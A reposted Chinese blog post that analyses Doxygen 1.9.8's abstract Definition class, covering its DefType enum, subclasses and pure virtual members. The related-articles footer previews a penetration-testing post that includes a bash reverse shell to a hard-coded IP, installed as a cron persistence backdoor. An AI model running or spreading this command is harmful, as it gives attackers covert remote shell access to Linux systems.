Doxygen 源码分析: Definition类

news2024/11/28 4:28:43

在这里插入图片描述

2023-05-21 13:05:28
ChrisZZ imzhuo@foxmailcom
Hompage https://github.com/zchrissirhcz
Blog https://blog.csdn.net/baiyu33

文章目录

    • 1. Doxygen 版本
    • 2. Definition 类和它的8个子类
    • 3. Definition 类的 Private 成员
    • 4. Definition 类的 Public 成员
      • 4.1 特殊成员函数
      • 4.2 获取 definition 类型
      • 4.3 获取代码符号 (symbol) 类型
      • 4.4 判断是否为别名
      • 4.5 获取名字
      • 4.6 获取在页面中的位置
      • 4.7 获取文档, 以及文档所处的位置等信息
      • 4.8 属性真假判断
      • 4.9 Reference 相关
      • 4.10 获取位置
      • 4.11 细化类型和泛化类型
      • 4.12 导航路径
      • 4.13 设置和获取 symbol name
      • 4.14 杂项
    • 5. 下一步

1. Doxygen 版本

本次使用的 doxygen 版本如下, 是 1.9.8 正式发布版本对应的 commit

$ git log
commit 5fded4215d4f9271fe92c940fc4532d4704f5be1 (HEAD -> master, upstream/master)
Author: Dimitri van Heesch <doxygen@gmail.com>
Date:   Thu May 18 22:14:30 2023 +0200
evelopment
bump version to 1.9.8 for d

2. Definition 类和它的8个子类

在这里插入图片描述

Defition 类是抽象基类, 提供了一系列的纯虚函数,并给出了9个 DefType, 其中 TypePackage 没有对应的子类, 其他 DefType 则分别对应一个子类:

DefType 取值解释
TypeClass对应到 ClassDef
TypeFile对应到 FileDef
TypeNamespace对应到 NamespaceDef
TypeMember对应到 MemberDef
TypeGroup对应到 GroupDef
TypePackage没有对应的子类
TypePage对应到 PageDef
TypeDir对应到 DirDef
TypeConcept对应到 ConceptDef
/** The common base class of all entity definitions found in the sources.
 *
 *  This can be a class or a member function, or a file, or a namespace, etc.
 *  Use definitionType() to find which type of definition this is.
 */
class Definition
{
  public:
    /*! Types of derived classes */
    enum DefType
    {
      TypeClass      = 0, // 对应到 ClassDef 类
      TypeFile       = 1, // 对应到 FileDef 类
      TypeNamespace  = 2, // 对应到 NamespaceDef 类
      TypeMember     = 3, // 对应到 MemberDef 类
      TypeGroup      = 4, // 对应到 GroupDef 类
      TypePackage    = 5, // 没有对应的子类
      TypePage       = 6, // 对应到 PageDef 类
      TypeDir        = 7, // 对应到 DirDef 类
      TypeConcept    = 8 // 对应到 ConceptDef 类
    };
    ...
}

而对于每个子类, 仍然是不是最终的实现类, 仍然包含了继承或组合的层次关系:

在这里插入图片描述

  • 红色: 代表 C++ 代码中确实存在的实体,是具备 semantic 的主体
  • 绿色: 代表文件、文件夹、页面这些偏“没有什么semantic信息”的实体
  • 橙色: 是红色的进一步细化, 是人为构建的 group, 更加虚拟抽象的概念

忽略 ConceptDef 类, 原因是暂时没接触过 c++ 的 concept。

3. Definition 类的 Private 成员

Definition 类使用了友元, 并且提供了:

  • 转换为可修改的(mutable)的 Defnition 指针对象的函数
  • 转换为 DefinitionImpl 指针对象的函数

这些都是 Private 方式提供的,意味着子类并不能访问到这些成员, 换言之这些成员都是通过父类 Definition 对象进行调用的。

class Definition
{
  ...
  private:
    friend class DefinitionImpl; // 友元
    friend DefinitionMutable* toDefinitionMutable(Definition *);
    friend DefinitionMutable* toDefinitionMutable(const Definition *);
    virtual DefinitionMutable *toDefinitionMutable_() = 0;
    virtual const DefinitionImpl *toDefinitionImpl_() const = 0;
};

具体实现:

Definition *toDefinition(DefinitionMutable *dm)
{
  if (dm==0) return 0;
  return dm->toDefinition_();
}

DefinitionMutable *toDefinitionMutable(Definition *d)
{
  if (d==0) return 0;
  return d->toDefinitionMutable_();
}

这里值得注意的C++ trick是, private 方式的纯虚函数,需要被子类实现; 子类本来无法访问父类的 private 方法, 但是经过 pure virtual 的修饰, 子类被动的知道了父类的 private 成员函数(编译器告诉你的):
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sBLKKeWE-1684651643844)(private_pure_virutal_function.png)]

4. Definition 类的 Public 成员

这里简要过一遍 Public 成员, 大概留个印象, 具体到 Definition 的子类如 ClassDef 的分析时, 承上启下方式的查看, 可能更清晰一些。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tkA9c0Z4-1684651643845)(definition_public_members.png)]

4.1 特殊成员函数

    virtual ~Definition() = default;

4.2 获取 definition 类型

    /*! Use this for dynamic inspection of the type of the derived class */
    virtual DefType definitionType() const = 0;

4.3 获取代码符号 (symbol) 类型

    /*! Used for syntax highlighting symbol class */
    virtual CodeSymbolType codeSymbolType() const = 0;

其中 CodeSymbolType 是枚举类, 具体取值包括:

xClass typesother container typeMember type
DefaultClassConceptDefine
StructNamespaceFunction
UnionPackageVariable
InterfaceTypedef
ProtocolEnumValue
CategoryEnumeration
ExceptionSignal
ServiceSlot
SingletonFriend
DCOP
Property
Event
Sequence
Dictionar

4.4 判断是否为别名

    /*! Returns TRUE if this is an alias of another definition */
    virtual bool isAlias() const = 0;

4.5 获取名字

  • name(): 符号名字
  • isAnonymous(): 是否为形如 @) 的人工名字
  • displayName(): 输出显示时的名字
  • localName(): 不带任何域限定符的名字,例如去掉 namespace
  • qualifiedName(): 返回此定义的完全限定名称
  • symbolName(): 返回符号表中的名字
  • getOutputFileBase(): 文件名字去掉后缀后剩余的部分
  • getSourceFileBase(): 返回“列出了当前定义的那个源文件”的名字,不带扩展部分
    /*! Returns the name of the definition */
    virtual const QCString &name() const = 0;

    /*! Returns TRUE iff this definition has an artificially generated name
     * (typically starting with a @) that is used for nameless definitions
     */
    virtual bool isAnonymous() const = 0;

    /*! Returns the name of the definition as it appears in the output */
    virtual QCString displayName(bool includeScope=TRUE) const = 0;

    /*! Returns the local name without any scope qualifiers. */
    virtual const QCString &localName() const = 0;

    /*! Returns the fully qualified name of this definition
     */
    virtual QCString qualifiedName() const = 0;

    /*! Returns the name of this definition as it appears in the symbol map.
     */
    virtual QCString symbolName() const = 0;

    /*! Returns the base file name (without extension) of this definition.
     *  as it is referenced to/written to disk.
     */
    virtual QCString getOutputFileBase() const = 0;

    /*! Returns the name of the source listing of this definition. */
    virtual QCString getSourceFileBase() const = 0;

4.6 获取在页面中的位置

anchor 这里意思为位置

    /*! Returns the anchor within a page where this item can be found */
    virtual QCString anchor() const = 0;

    /*! Returns the anchor of the source listing of this definition. */
    virtual QCString getSourceAnchor() const = 0;

4.7 获取文档, 以及文档所处的位置等信息

详细文档:

  • documentation(): 当前 definition 的完整定义
  • docLine(): 当前 definition 的文档被发现的起始行
  • docFile(): 当前 definition 的文档所处的文件名字
    /*! Returns the detailed description of this definition */
    virtual QCString documentation() const = 0;

    /*! Returns the line number at which the detailed documentation was found. */
    virtual int docLine() const = 0;

    /*! Returns the file in which the detailed documentation block was found.
     *  This can differ from getDefFileName().
     */
    virtual QCString docFile() const = 0;

定义:

  • getDefFileName(): 当前definition 是在哪个文件被定义的
  • getDefFileExtension(): 发现当前 definition 定义的文件的扩展名字
  • getDefLine(): 定义当前 definition 的行号
  • getDefColumn(): 定义当前 definition 的列号
    /*! returns the file in which this definition was found */
    virtual QCString getDefFileName() const = 0;

    /*! returns the extension of the file in which this definition was found */
    virtual QCString getDefFileExtension() const = 0;

    /*! returns the line number at which the definition was found (can be the declaration) */
    virtual int getDefLine() const = 0;

    /*! returns the column number at which the definition was found */
    virtual int getDefColumn() const = 0;

概要文档:

  • briefDescription(): 当前 defintion 的文档描述中, 概要部分
  • briefDescriptionAsTooltip(): 返回纯文本表示的概要部分, 用于 tooltip
  • briefLine(): 详细文档的 brief 部分的起始行号
  • briefFile(): 文档的概要部分是在哪个文件被发现的
  • hasBriefDescription(): 是否有概要描述
    /*! Returns the brief description of this definition. This can include commands. */
    virtual QCString briefDescription(bool abbreviate=FALSE) const = 0;

    /*! Returns a plain text version of the brief description suitable for use
     *  as a tool tip.
     */
    virtual QCString briefDescriptionAsTooltip() const = 0;

    /*! Returns the line number at which the brief description was found. */
    virtual int briefLine() const = 0;

    /*! Returns the file in which the brief description was found.
     *  This can differ from getDefFileName().
     */
    virtual QCString briefFile() const = 0;

    /** returns TRUE if this class has a brief description */
    virtual bool hasBriefDescription() const = 0;

body内文档:

  • inbodyDocumentation(): 成员函数的当前body内的文档
  • inbodyFile(): body内文档是在哪个文件被发现的
  • inbodyLine(): body内文档的起始行号
    /*! Returns the documentation found inside the body of a member */
    virtual QCString inbodyDocumentation() const = 0;

    /*! Returns the file in which the in body documentation was found */
    virtual QCString inbodyFile() const = 0;

    /*! Returns the line at which the first in body documentation
        part was found */
    virtual int inbodyLine() const = 0;

4.8 属性真假判断

  • hasDocumentation(): 是否有文档
  • hasUserDocumentation(): 是否有用户手写的文档
  • isLinkableInProject(): 是否可以在项目内链接
  • isLinkable(): 是否可以链接
  • isVisibleInProject(): 是否在项目中可见
  • isVisible(): 是否可见
  • isHidden(): 是否在 OUTPUT 中被隐藏
  • isArtificial(): 是否为人工引入
    /*! Returns TRUE iff the definition is documented
     *  (which could be generated documentation)
     *  @see hasUserDocumentation()
     */
    virtual bool hasDocumentation() const = 0;

    /*! Returns TRUE iff the definition is documented by the user. */
    virtual bool hasUserDocumentation() const = 0;

    /*! Returns TRUE iff it is possible to link to this item within this
     *  project.
     */
    virtual bool isLinkableInProject() const = 0;

    /*! Returns TRUE iff it is possible to link to this item. This can
     *  be a link to another project imported via a tag file.
     */
    virtual bool isLinkable() const = 0;

    /*! Returns TRUE iff the name is part of this project and
     *  may appear in the output
     */
    virtual bool isVisibleInProject() const = 0;

    /*! Returns TRUE iff the name may appear in the output */
    virtual bool isVisible() const = 0;

    /*! Returns TRUE iff this item is supposed to be hidden from the output. */
    virtual bool isHidden() const = 0;

    /*! returns TRUE if this entity was artificially introduced, for
     *  instance because it is used to show a template instantiation relation.
     */
    virtual bool isArtificial() const = 0;

4.9 Reference 相关

    /*! If this definition was imported via a tag file, this function
     *  returns the tagfile for the external project. This can be
     *  translated into an external link target via
     *  Doxygen::tagDestinationDict
     */
    virtual QCString getReference() const = 0;

    /*! Returns TRUE if this definition is imported via a tag file. */
    virtual bool isReference() const = 0;

    /*! Convenience method to return a resolved external link */
    virtual QCString externalReference(const QCString &relPath) const = 0;

4.10 获取位置

    /*! Returns the first line of the implementation of this item. See also getDefLine() */
    virtual int getStartDefLine() const = 0;

    /*! Returns the first line of the body of this item (applicable to classes and
     *  functions).
     */
    virtual int getStartBodyLine() const = 0;

    /*! Returns the last line of the body of this item (applicable to classes and
     *  functions).
     */
    virtual int getEndBodyLine() const = 0;

    /*! Returns the file in which the body of this item is located or 0 if no
     *  body is available.
     */
    virtual const FileDef *getBodyDef() const = 0;

4.11 细化类型和泛化类型

    virtual const Definition *findInnerCompound(const QCString &name) const = 0;
    virtual Definition *getOuterScope() const = 0;

4.12 导航路径

    virtual QCString navigationPathAsString() const = 0;
    virtual QCString pathFragment() const = 0;

4.13 设置和获取 symbol name

    //-----------------------------------------------------------------------------------
    // --- symbol name ----
    //-----------------------------------------------------------------------------------
    virtual void _setSymbolName(const QCString &name) = 0;
    virtual QCString _symbolName() const = 0;

4.14 杂项

  • getLanguage(): 获取对应的编程语言
  • 其他: 暂时不懂,忽略
    /** Returns the programming language this definition was written in. */
    virtual SrcLangExt getLanguage() const = 0;

    virtual const GroupList &partOfGroups() const = 0;
    virtual bool isLinkableViaGroup() const = 0;

    virtual const RefItemVector &xrefListItems() const = 0;

    virtual const MemberVector &getReferencesMembers() const = 0;
    virtual const MemberVector &getReferencedByMembers() const = 0;

    virtual bool hasSections() const = 0;
    virtual bool hasSources() const = 0;

    virtual QCString id() const = 0;

    /** returns the section dictionary, only of importance for pagedef */
    virtual const SectionRefs &getSectionRefs() const = 0;

5. 下一步

至此, 我们从 SymbolMap 入手, 对于 Definition 类及其子类有了进一步的认识, 而对于具体的 Definition 类别如 ClassDef, NamespaceDef, GroupDef 等, 又是一次 Hierarchical 的结构之旅, 需要具体带入分析。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/550981.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

(学习日记)AD学习 #1

写在前面&#xff1a; 由于时间的不足与学习的碎片化&#xff0c;写博客变得有些奢侈。 但是对于记录学习&#xff08;忘了以后能快速复习&#xff09;的渴望一天天变得强烈。 既然如此 不如以天为单位&#xff0c;以时间为顺序&#xff0c;仅仅将博客当做一个知识学习的目录&a…

Linux基本操作指令2

目录 指令1&#xff1a;rmdir指令&#xff1a; 指令2&#xff1a;rm命令&#xff1a; 指令3&#xff1a;man指令&#xff1a; 指令4&#xff1a;cp指令&#xff1a; 指令5&#xff1a;mv指令&#xff1a;类似于Windows的剪贴 指令6&#xff1a;cat指令 指令7&#xff1a;…

QT5.15.0使用gcc-arm-8.2-2018.08-x86_64-arm-linux-gnueabihf交叉编译的问题总结

目录 一、交叉编译 二、操作中踩过的坑 1、环境变量未生效 2、交叉编译QT代码操作 3、烧录时报错缺少xcb问题 4、小白的细小错误 三、--platform命令 3、1 -platform linuxfb 详细文档请点击此处 我的文档在原文档的基础上添加了非常详细的提醒&#xff0c;可以少走弯路…

软件性能测试过程详解与案例剖析

软件性能测试是软件开发过程中至关重要的一环&#xff0c;它能够帮助我们确保软件在不同负载和使用情况下的表现。在软件性能测试中&#xff0c;我们通常会关注软件的响应时间、吞吐量、并发用户数等指标&#xff0c;以评估软件性能。 软件性能测试过程主要分为以下几个步骤&am…

leetcode:322. 零钱兑换(暴力dfs,记忆化dfs,动态规划(朴素+优化),bfs+贪心)

记录常规的完全背包问题模型 1.暴力dfs2.优化dfs&#xff0c;记忆化dfs3.动态规划4.bfs 1.由于每件物品可以无限取&#xff0c;那么可以发现这是一个完全背包问题模型。 1.暴力dfs 最后要求的是&#xff1a;n种硬币&#xff0c;凑成总金额为amount。每种硬币无限取&#xff0…

Java8 教你一行代码搞定:如何计算map中value值

大家好&#xff0c;我是三叔&#xff0c;很高兴这期又和大家见面了&#xff0c;一个奋斗在互联网的打工人。 这期给大家讲一下在Java编程中&#xff0c;如何使用Java8对map的值进行计算&#xff0c;在实际开发中&#xff0c;也是经常遇到统计map中的value值之和。 Map是一种常…

Web安全:文件上传漏洞测试.

Web安全&#xff1a;文件上传漏洞测试. 现在大多的网站和Web应用系统都会有上传功能&#xff08;比如&#xff1a;文档&#xff0c;图片&#xff0c;头像&#xff0c;视频上传等.&#xff09;&#xff0c;而程序员在开发文件上传功能时&#xff0c;没有对代码做严格校验上传文…

解决大文件传输难题的方法和技巧

传统的传输大文件的方式&#xff0c;如电子邮件附件或USB驱动器&#xff0c;由于文件大小的限制和安全问题&#xff0c;变得越来越不方便。大文件共享是现代商业通信的一个重要方面&#xff0c;组织需要安全可靠的方式来传输这些文件。 传统文件传输方式的不便 传统的文件传输方…

LabVIEWCompactRIO 开发指南27 创建模块化、可重复使用的子VI

LabVIEWCompactRIO 开发指南27 创建模块化、可重复使用的子VI 编写模块化代码几乎总是一个好主意&#xff0c;无论是为Windows、实时还是FPGA设备设计应用程序。子VI使代码更易于调试和故障排除&#xff0c;更易于记录和跟踪更改&#xff0c;并且通常更清晰&#xff0c;更易于…

一文读懂JVM架构解析

JVM 架构解析 Java 架构JVMJVM是如何工作的&#xff1f;类加载器子系统 运行时数据区执行引擎 每个 Java 开发人员都知道字节码经由 JRE&#xff08;Java运行时环境&#xff09;执行。但他们或许不知道 JRE 其实是由 Java虚拟机&#xff08;JVM&#xff09;实现&#xff0c;JVM…

css3 flex弹性布局学习

一、flex基本概念 当开启flex布局后&#xff0c;项目默认沿主轴排列。单个项目占据的主轴空间叫做main size&#xff0c;占据的交叉轴空间叫做cross size。 二、容器的属性 以下6个属性设置在容器上。 flex-direction flex-wrap flex-flow justify-content align-items align…

LabVIEWCompactRIO 开发指南26 同步循环

LabVIEWCompactRIO 开发指南26 同步循环 对于大多数控制和监视应用&#xff0c;代码执行的时间对于系统的性能和可靠性非常重要。在此电机控制示例中&#xff0c;有两个不同的时钟信号&#xff1a;采样时钟和PID时钟。这些是在应用程序中生成的布尔信号&#xff0c;用于在循环…

【HackTheBox MonitorsTwo】打靶记录

信息搜集 1、nmap 扫描一波 └─# nmap -sC -sV 10.10.11.211 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-14 20:55 EDT Nmap scan report for 10.10.11.211 Host is up (0.25s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 2…

[NodeJS] 优缺点及适用场景讨论

概述&#xff1a; NodeJS宣称其目标是“旨在提供一种简单的构建可伸缩网络程序的方法”&#xff0c;那么它的出现是为了解决什么问题呢&#xff0c;它有什么优缺点以及它适用于什么场景呢&#xff1f; 本文就个人使用经验对这些问题进行探讨。 一. NodeJS的特点 我们先来看看N…

【数据结构】广度优先遍历(BFS)模板及其讲解

&#x1f38a;专栏【数据结构】 &#x1f354;喜欢的诗句&#xff1a;更喜岷山千里雪 三军过后尽开颜。 &#x1f386;音乐分享【勋章】 大一同学小吉&#xff0c;欢迎并且感谢大家指出我的问题&#x1f970; 目录 &#x1f381;定义 &#x1f381;遍历方法 &#x1f381;根…

Hadoop基础学习---3、HDFS概述、HDFS的Shell操作、HDFS的API操作

1、HDFS概述 1.1 HDFS产出背景及定义 1、HDFS产生背景 随着数据量越来越大&#xff0c;在一个操作系统存不住所有的数据&#xff0c;那么就分配到更多的操作系统管理的磁盘中&#xff0c;但是不方便管理和维护&#xff0c;迫切需要一种系统来管理多台机器上的文件&#xff0c…

记 LCG 例题

文章目录 题一(seed,a,b,n,c)题二(a,b,n,c)题三(a,n,output[6],output[7])题四(n,output)题五(output)题六(output)题七&#xff08;二元LCG&#xff09;题八&#xff08;三元LCG&#xff09; &#xff08;PS&#xff1a;网上有很多原理&#xff0c;这里就不过多赘述了&#xf…

【C++】 设计模式(单例模式、工厂模式)

文章目录 设计模式概念单例模式懒汉式方法一方法二总结 饿汉式单例模式的优点 工厂模式概念简单工厂工厂方法抽象工厂三种工厂方法的总结 设计模式 概念 设计模式是由先人总结的一些经验规则&#xff0c;被我们反复使用后、被多数人知晓认可的、然后经过分类编排&#xff0c;…

内网渗透之Linux权限维持-Rootkit后门Strace监控Alias别名Cron定时任务

0x01-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1.编辑后门反弹 vim /etc/.xiaodi.sh #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&1chmod x /etc/.1.sh2.添加定时任务 vim /etc/crontab */1 * * * * root /etc/.1.sh3.kali nc开启…

真题详解(语法分析输入记号流)-软件设计(八十)

真题详解&#xff08;求叶子结点数&#xff09;-软件设计&#xff08;七十九)https://blog.csdn.net/ke1ying/article/details/130787349?spm1001.2014.3001.5501 极限编程XP最佳实践&#xff1a; 测试先行、 按日甚至按小时为客户提供可运行的版本。 组件图的 插座 和插头…